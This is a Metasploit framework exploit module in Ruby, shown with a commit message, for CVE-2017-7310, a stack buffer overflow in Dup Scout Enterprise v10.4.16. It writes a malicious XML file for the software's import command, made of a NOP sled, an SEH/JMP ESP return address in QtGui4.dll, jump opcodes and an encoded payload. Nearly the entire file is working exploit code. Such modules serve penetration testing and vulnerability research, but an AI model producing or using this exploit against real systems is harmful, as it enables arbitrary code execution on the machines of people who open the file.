Files
metasploit-gs/modules/exploits/windows/fileformat/dupscout_xml.rb
T
Jacob Robles bc18389284 Updated Document and Module
Update the documentation based on analysis of the vulnerability.
Slight modifications to the exploit module as well to reduce the
size of the generated file and reduce bad characters.
2018-02-01 10:05:50 -06:00

70 lines
1.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
'Description' => %q(
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
by using the import command option to import a specially crafted xml file.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'References' =>
[
[ 'CVE', '2017-7310' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x27",
'StackAdjustment' => -3500
},
'Targets' =>
[
['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 29 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end
def exploit
esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
jmp = "\xff\xe0" # JMP EAX
buf = "<?xml ?><a name='"
buf << make_nops(1560)
buf << [target.ret].pack('V')
buf << make_nops(16)
buf << esp
buf << jmp
buf << make_nops(14)
buf << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buf)
end
end